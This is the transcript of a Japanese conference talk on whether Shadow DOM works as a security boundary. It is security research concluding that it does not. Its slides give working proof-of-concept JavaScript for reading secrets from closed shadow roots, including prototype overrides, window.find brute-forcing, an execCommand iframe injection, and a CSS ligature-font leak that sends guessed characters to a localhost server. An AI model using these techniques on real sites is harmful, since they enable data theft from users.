Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Shadow DOMとセキュリティ - 光と影の境界を探る / Shibuya.XSS tec...

Shadow DOMとセキュリティ - 光と影の境界を探る / Shibuya.XSS techtalk #13

Shibuya.XSS techtalk #13 の発表資料です。
English version is here: https://speakerdeck.com/masatokinugawa/shadow-dom-and-security-exploring-the-boundary-between-light-and-shadow

Avatar for Masato Kinugawa

Masato Kinugawa

July 20, 2025
Tweet

More Decks by Masato Kinugawa

Other Decks in Technology

Transcript

  1. Shadow DOMの作り方: JSで作る場合 <script> sHost = document.createElement('div'); sHost.style ="border:dotted red

    2px;"; sRoot = sHost.attachShadow({mode: "open"}); sRoot.innerHTML = '<span>Shadow</span> DOM'; document.body.appendChild(sHost); </script> Element.attachShadow でElementに取り付けられる: attachShadowの戻り値は shadow rootへの参照
  2. Shadow DOMの作り方: JS無しで作る場合 <div style="border:dotted red 2px;"> <template shadowrootmode="open"> <span>Shadow</span>

    DOM </template> </div> 宣言型(Declarative) Shadow DOMと呼ばれる方法で可能: これで直前と同じShadow DOMが作成される
  3. {mode: "open"} hostのshadowRootプロパティから後からでもshadow rootへの参照をとれる: sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode:

    "open"}); console.log(sRoot);// #shadow-root (open) console.log(sHost.shadowRoot);// #shadow-root (open) sRoot === sHost.shadowRoot // true
  4. {mode: "closed"} attachShadow() の戻り値を破棄すると簡単には中を触れなくなる shadowRoot プロパティはnullに: sHost = document.createElement('div'); sRoot

    = sHost.attachShadow({mode: "closed"}); console.log(sRoot);// #shadow-root (closed) console.log(sHost.shadowRoot);// null
  5. セキュリティ用途へ使えそう? • 機密性の高いものを中に置いて閉じればアクセスを防止できる? • 実際に利用する試みはある • Salesforce の Lightning Web

    Security (LWS) の一部 • LavaDome • 拡張機能がWebページ上に追加する自身のUIで LWS: https://developer.salesforce.com/docs/platform/lightning-components-security/guide/lws-architecture.html LavaDome: https://github.com/LavaMoat/LavaDome 実際にテストしていく
  6. 自明な貫通方法 Shadow DOMを作成するより前に攻撃者がそのオリジンでJS実行できたら詰み: sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"});

    //open で作られてしまう sRoot.innerHTML = 'SECRET'; document.body.appendChild(sHost); //攻撃者が先に実行 //常にopen modeでattachされるように書き換え Element.prototype.originalAttachShadow = Element.prototype.attachShadow; Element.prototype.attachShadow = function(arg){ return this.originalAttachShadow({"mode":"open"}); }
  7. 自明な貫通方法 2 Shadow DOM作成後でも、正規のコードが行う内部の要素にアクセスする JS実行部分に(prototypeの上書きなどを通じて)干渉できたら詰み: sHost = document.createElement('div'); sRoot =

    sHost.attachShadow({mode: "closed"}); sRoot.innerHTML = `<span onclick="this.textContent='SECRET'">Click here & show secret</span>`; document.body.appendChild(sHost); // 攻撃者はtextContentのsetterを上書き Object.defineProperty(HTMLElement.prototype,"textContent",{set:function(){ console.log(this);//クリックされた時、Shadow DOMに置かれたspanの参照が返る }}); カプセル化 ≠ 実行環境の分離
  8. 実のところ 自分のコードが常に先に実行される保証された方法はない //攻撃者が実行 win = window.open('/page-using-shadow-dom','_blank') win.Element.prototype.attachShadow = function(){ //...

    } 例: 攻撃者は新しいwindowを開いて何よりも早くprototypeを上書きするかも: 通常のサイトで単独でセキュリティ境界として使えることはないと認識すべき
  9. じゃあどうするか? (Webアプリの場合) • 自前の制限されたJS実行環境(sandbox)でアプリを動かすくらい しかない… • 実際、SalesforceのLWSは自前でsandboxを作成 • アプリ全体が制限されたJSの中で動く •

    例:攻撃者がwindow.open()しても既にそれ自体が安全なものに置き換わっている • (なおLWSにおいてShadow DOMは異なるコンポーネント間のアクセスを制限する目的で使用 される。LWSはShadow DOMへの侵入を防ぐためだけのものではないことに注意) • sandboxをバイパスしない限り無制限のアクセスはできない 最初は簡単にできそうだったのに…
  10. じゃあどうするか?(拡張機能の場合) • Content Scriptから直接Shadow DOMを作成する • ページ側と実行環境が隔離されているIsolated Worldで実行されるため (Shadow DOMを追加する是非は置いておいて)prototypeの上書きはされない

    • ただし拡張からページ側にJSをインジェクトして作成する場合は上書きされる • Content Scriptでページ内に追加したinline scriptも× (前ページ"自明な貫通方法2") ページ側でprototypeを上書きしてもContent Script側では上書されていない図: Content Scriptからなら有効に使える…? 拡張のコンテキストに 切替え
  11. 先行研究:Selection#anchorNode Selection#focusNode – Firefox only • getSelection()は選択中のテキストにアクセスするAPI • getSelection()が返すSelection#anchorNode (または

    focusNode)が Shadow内のノードを返してしまう arxenixさんによる発見: https://blog.ankursundara.com/shadow-dom/ window.find('This is a secret:');//文字列を検索・選択する node = getSelection().anchorNode;//or focusNode root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } find()実行で選択状態に:
  12. window.find() (テキストの読み取りのみ) result = []; prefix = 'This is a

    secret: '; chars = 'abcdef'; secretLength = 8; while (result.length !== secretLength) { for (i = 0; i < chars.length; i++) { char = chars[i]; // findは文字列が見つかるとtrueを返す if (window.find(`${prefix}${char}`, false, false, true)) { result.push(char); prefix += char; } } } alert(result.join('')); ノードレベルではアクセスできないが テキストは読めた (このコードはChromeで確認)
  13. 先行研究: document.execCommand('insertHTML') • テキスト編集用のAPI • 第1引数にコマンド名を指定して様々なテキスト操作が可能 • insertHTMLはフォーカスがあるeditable部分に引数で指定したHTMLを挿入 またarxenixさんによる発見:https://blog.ankursundara.com/shadow-dom/ window.find('contenteditable

    area'); document.execCommand('insertHTML',false, '<iframe onload=alert(getRootNode().querySelector("#secret").textContent)>'); Chrome/Firefox いずれもShadow内にHTMLが追加された: SlonserさんによるServiceWorker + -webkit-user-modifyの応用も面白い: https://extensions.neplox.security/Attacks/Shadow/
  14. Event#originalTarget Event#explicitOriginalTarget – Firefox only • Firefox固有の Event.prototype に存在するプロパティ •

    targetプロパティとは微妙に異なるルールで選択された部分のノードが返るもの window.onmousemove = function(event){ elem = event.originalTarget;// or explicitOriginalTarget root = elem.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } Shadow部分にカーソルを移動すると内側のノードが返された:
  15. UIEvent#rangeParent – Firefox only • Firefox固有の UIEvent.prototype に存在するプロパティ • MDNのページすらない

    window.onmousemove = function(event){ elem = event.rangeParent; root = elem.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } これもShadow部分にカーソルを移動すると内側のノードが取れた:
  16. DataTransfer#mozSourceNode – Firefox only • Firefox固有の DataTransfer.prototype に存在するプロパティ • ドラッグが開始された時点にあったノードを返す

    window.ondrag = function(event){ node = event.dataTransfer.mozSourceNode; root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } Shadow部分の任意のテキストをドラッグすると内側のnodeが取れた: Web ArchiveならMDNのページを発見できる: https://web.archive.org/web/20221004005258/https://developer.mozilla.org/en- US/docs/Web/API/DataTransfer/mozSourceNode
  17. InputEvent#getTargetRangesが返す Range#endContainer or startContainer • 入力が対象にしているテキストの範囲を返すAPI window.onbeforeinput = (event) =>

    { targetRanges = event.getTargetRanges(); node = targetRanges[0].endContainer;// or startContainer root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } }; 以下でeditable部分に何か入力したらノードアクセスできた: Chrome・Firefox・Safari全てで動く
  18. CSSを使ったデータの読み出し • CSSからテキストをリークする系の攻撃がLightからShadowへ通る • 継承されうるスタイルをShadow側で上書きしていない限り • 攻撃例:fontを継承させて、合字のフォントを使ってリーク • 属性値のリークは厳しいかも •

    <input type=text> のvalueのようにフォントを適用できるものを除く Michał Bentkowski さんによる合字を使ったCSSによるリーク手法 https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/
  19. const secretChars = "abcdef"; const prefix = "This is a

    secret: "; let index = 0; let foundChars = ""; const style = document.createElement('style'); document.body.appendChild(style); style.innerHTML = "#shost {font-family:hack;font-size:300px;}"; const defaultWidth = document.body.scrollWidth; const loadFont = target => { const font = new FontFace("hack", `url(http://localhost:3000/?target=${encodeURIComponent(target)})`); font.load().then(() => { document.fonts.add(font); if (defaultWidth < document.body.scrollWidth) { foundChars += secretChars[index]; console.log(`Found: ${foundChars}`); index = 0; } else { index++; } if (foundChars.length === 8) { alert(foundChars); } else { loadFont(`${prefix}${foundChars}${secretChars[index]}`); } }); }; loadFont(`${prefix}${secretChars[index]}`); ❶ "This is a secret: a" "This is a secret: b" "This is a secret: c"... などの文字列を1文字にする 幅デカ合字フォントを作成し順に適用 ❷画面のスクロール幅が広がったら幅デカ合字が適用 された = その文字列がShadowに存在するとわかる ❸みつかったらその次の文字も繰り返す やっていること: 合字を使ったリークの例 ※実際には全てCSSで可能 (直前の記事を参照)
  20. 逆パターン:Shadow DOM内でのCSS Injection Shadow内でCSS Injectionが起きた時、Light DOMの機密情報を読み出せる? sHost = document.createElement('div'); sRoot

    = sHost.attachShadow({ mode: "closed" }); style = document.createElement('style'); style.textContent = ATTACKER_CONTROLLED_STRING;// injection sRoot.appendChild(style); document.body.appendChild(sHost);
  21. :host-context() • Shadow内でのみ使えるCSS関数 • 引数に与えたセレクターがshadow hostまたはそのホストの祖先要素と一致する とshadow hostを選択 つまりshadow host

    or 祖先要素の属性ならShadow内からでもリークでき得る 祖先 祖先 shadow host 実際に複数の文字列をリークする時の手法はこちらを参照(by Pepe Vilaさん): https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf
  22. Shadow DOMに置かれたiframe sHost = document.createElement('div'); const sRoot = sHost.attachShadow({ mode:

    "closed" }); sRoot.innerHTML = `<iframe name="ifr" src="//trusted.example.com/"></iframe>`; document.body.appendChild(sHost); window.length// 0 window.open('//attacker-host.test/','ifr'); // Shadowのiframe URLが置き換わる window.lengthにはカウントされないがname付きだとナビゲーションは起きる: まだ整理されていない部分の様子: "Shadow DOM and <iframe> · Issue #763 · whatwg/html" https://github.com/whatwg/html/issues/763
  23. その他… • Site Isolation • もちろんShadow DOMが別プロセスで動いたりはしない • レンダラを掌握されたら終わり •

    その他イベント • CSPのViolationイベントがShadow内で発生したらURLがリーク まだいろいろありそう
  24. まとめ • セキュリティ境界として使うのはかなり無理がある • バイパスを埋めるために追加の作業が必ず必要になる • 境界の切れ目がどこにあるかを簡単に理解するのは難しい • そもそもセキュリティ機能ではないのでベンダを頼れない •

    カプセル化し損なってるAPIがあってもただのバグ扱い • 現状隔離された埋め込み用途には結局iframe • SOP、Site Isolation、sandbox属性など明確なセキュリティ境界の恩 恵を受けられる